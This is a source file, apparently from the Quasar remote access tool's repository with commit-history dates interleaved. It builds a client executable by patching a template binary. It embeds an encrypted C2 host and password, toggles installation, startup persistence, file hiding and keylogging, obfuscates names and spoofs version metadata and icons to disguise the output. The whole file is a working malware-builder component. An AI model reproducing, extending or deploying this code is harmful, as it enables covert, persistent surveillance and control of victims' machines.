Quasar/Server/Core/Build/ClientBuilder.cs

207 lines
11 KiB
C#
Raw Normal View History

2015-01-13 10:29:11 -08:00
using System;
2015-04-09 10:24:56 -07:00
using System.IO;
2014-07-08 12:36:24 -07:00
using Mono.Cecil;
using Mono.Cecil.Cil;
using Vestris.ResourceLib;
2015-01-13 10:29:11 -08:00
using xServer.Core.Encryption;
using xServer.Core.Helper;
2014-07-08 12:36:24 -07:00
2015-01-13 10:29:11 -08:00
namespace xServer.Core.Build
2014-07-08 12:36:24 -07:00
{
/// <summary>
/// Provides methods used to create a custom client executable.
/// </summary>
2015-01-13 10:43:55 -08:00
public static class ClientBuilder
2014-07-08 12:36:24 -07:00
{
/// <summary>
/// Builds a client executable. Assumes that the binaries for the client exist.
/// </summary>
/// <param name="output">The name of the final file.</param>
2015-08-03 08:33:50 -07:00
/// <param name="tag">The tag to identify the client.</param>
/// <param name="host">The raw host list.</param>
/// <param name="password">The password that is used to connect to the website.</param>
/// <param name="installsub">The sub-folder to install the client.</param>
/// <param name="installname">Name of the installed executable.</param>
/// <param name="mutex">The client's mutex</param>
/// <param name="startupkey">The registry key to add for running on startup.</param>
/// <param name="install">Decides whether to install the client on the machine.</param>
/// <param name="startup">Determines whether to add the program to startup.</param>
/// <param name="hidefile">Determines whether to hide the file.</param>
/// <param name="keylogger">Determines if keylogging functionality should be activated.</param>
/// <param name="reconnectdelay">The amount the client will wait until attempting to reconnect.</param>
/// <param name="installpath">The installation path of the client.</param>
/// <param name="iconpath">The path to the icon for the client.</param>
/// <param name="asminfo">Information about the client executable's assembly information.</param>
/// <param name="version">The version number of the client.</param>
/// <exception cref="System.Exception">Thrown if the builder was unable to rename the client executable.</exception>
/// <exception cref="System.ArgumentException">Thrown if an invalid special folder was specified.</exception>
/// <exception cref="System.IO.FileLoadException">Thrown if the client binaries do not exist.</exception>
2015-08-03 08:33:50 -07:00
public static void Build(string output, string tag, string host, string password, string installsub, string installname,
string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger,
int reconnectdelay,
int installpath, string iconpath, string[] asminfo, string version)
2014-07-08 12:36:24 -07:00
{
// PHASE 1 - Settings
string encKey = FileHelper.GetRandomFilename(20);
2015-04-09 10:24:56 -07:00
AssemblyDefinition asmDef;
try
{
asmDef = AssemblyDefinition.ReadAssembly("client.bin");
}
catch (Exception ex)
{
throw new FileLoadException(ex.Message);
}
2014-07-08 12:36:24 -07:00
foreach (var typeDef in asmDef.Modules[0].Types)
2014-07-08 12:36:24 -07:00
{
2015-01-15 10:10:56 -08:00
if (typeDef.FullName == "xClient.Config.Settings")
2014-07-08 12:36:24 -07:00
{
foreach (var methodDef in typeDef.Methods)
{
if (methodDef.Name == ".cctor")
{
int strings = 1, bools = 1;
2014-07-08 12:36:24 -07:00
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
{
if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string
{
switch (strings)
{
case 1: //version
2015-01-13 01:12:26 -08:00
methodDef.Body.Instructions[i].Operand = AES.Encrypt(version, encKey);
2014-07-08 12:36:24 -07:00
break;
case 2: //ip/hostname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(host, encKey);
break;
case 3: //password
methodDef.Body.Instructions[i].Operand = AES.Encrypt(password, encKey);
break;
case 4: //installsub
methodDef.Body.Instructions[i].Operand = AES.Encrypt(installsub, encKey);
break;
case 5: //installname
methodDef.Body.Instructions[i].Operand = AES.Encrypt(installname, encKey);
break;
case 6: //mutex
methodDef.Body.Instructions[i].Operand = AES.Encrypt(mutex, encKey);
break;
case 7: //startupkey
methodDef.Body.Instructions[i].Operand = AES.Encrypt(startupkey, encKey);
break;
2015-08-03 08:33:50 -07:00
case 8: //encryption key
2014-07-08 12:36:24 -07:00
methodDef.Body.Instructions[i].Operand = encKey;
break;
2015-08-03 08:33:50 -07:00
case 9: //tag
methodDef.Body.Instructions[i].Operand = AES.Encrypt(tag, encKey);
break;
2014-07-08 12:36:24 -07:00
}
strings++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" ||
methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool
2014-07-08 12:36:24 -07:00
{
switch (bools)
{
case 1: //install
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(install));
break;
case 2: //startup
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(startup));
break;
case 3: //hidefile
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(hidefile));
break;
case 4: //Keylogger
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(keylogger));
break;
2014-07-08 12:36:24 -07:00
}
bools++;
}
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int
{
2015-08-03 08:33:50 -07:00
//reconnectdelay
methodDef.Body.Instructions[i].Operand = reconnectdelay;
2014-07-08 12:36:24 -07:00
}
2014-07-23 13:49:05 -07:00
else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte
2014-07-08 12:36:24 -07:00
{
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(installpath);
}
}
}
}
}
}
// PHASE 2 - Renaming
Renamer r = new Renamer(asmDef);
if (!r.Perform())
2014-07-23 13:49:05 -07:00
throw new Exception("renaming failed");
2014-07-08 12:36:24 -07:00
// PHASE 3 - Saving
r.AsmDef.Write(output);
// PHASE 4 - Assembly Information changing
if (asminfo != null)
{
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(output);
versionResource.FileVersion = asminfo[7];
versionResource.ProductVersion = asminfo[6];
versionResource.Language = 0;
StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
stringFileInfo["CompanyName"] = asminfo[2];
stringFileInfo["FileDescription"] = asminfo[1];
stringFileInfo["ProductName"] = asminfo[0];
stringFileInfo["LegalCopyright"] = asminfo[3];
stringFileInfo["LegalTrademarks"] = asminfo[4];
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["InternalName"] = asminfo[5];
stringFileInfo["OriginalFilename"] = asminfo[5];
versionResource.SaveTo(output);
}
// PHASE 5 - Icon changing
2014-07-08 12:36:24 -07:00
if (!string.IsNullOrEmpty(iconpath))
IconInjector.InjectIcon(output, iconpath);
}
/// <summary>
/// Obtains the OpCode that corresponds to the bool value provided.
/// </summary>
/// <param name="p">The value to convert to the OpCode</param>
/// <returns>Returns the OpCode that represents the value provided.</returns>
2014-07-08 12:36:24 -07:00
private static OpCode BoolOpcode(bool p)
{
return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0;
}
/// <summary>
/// Attempts to obtain the signed-integer value of a special folder from the install path value provided.
/// </summary>
/// <param name="installpath">The integer value of the install path.</param>
/// <returns>Returns the signed-integer value of the special folder.</returns>
/// <exception cref="System.ArgumentException">Thrown if the path to the special folder was invalid.</exception>
2014-07-08 12:36:24 -07:00
private static sbyte GetSpecialFolder(int installpath)
{
switch (installpath)
{
case 1:
return 26; // Appdata
case 2:
return 38; // ProgramFiles
case 3:
return 37; // System
default:
2014-07-24 14:26:59 -07:00
throw new ArgumentException("InstallPath");
2014-07-08 12:36:24 -07:00
}
}
}
}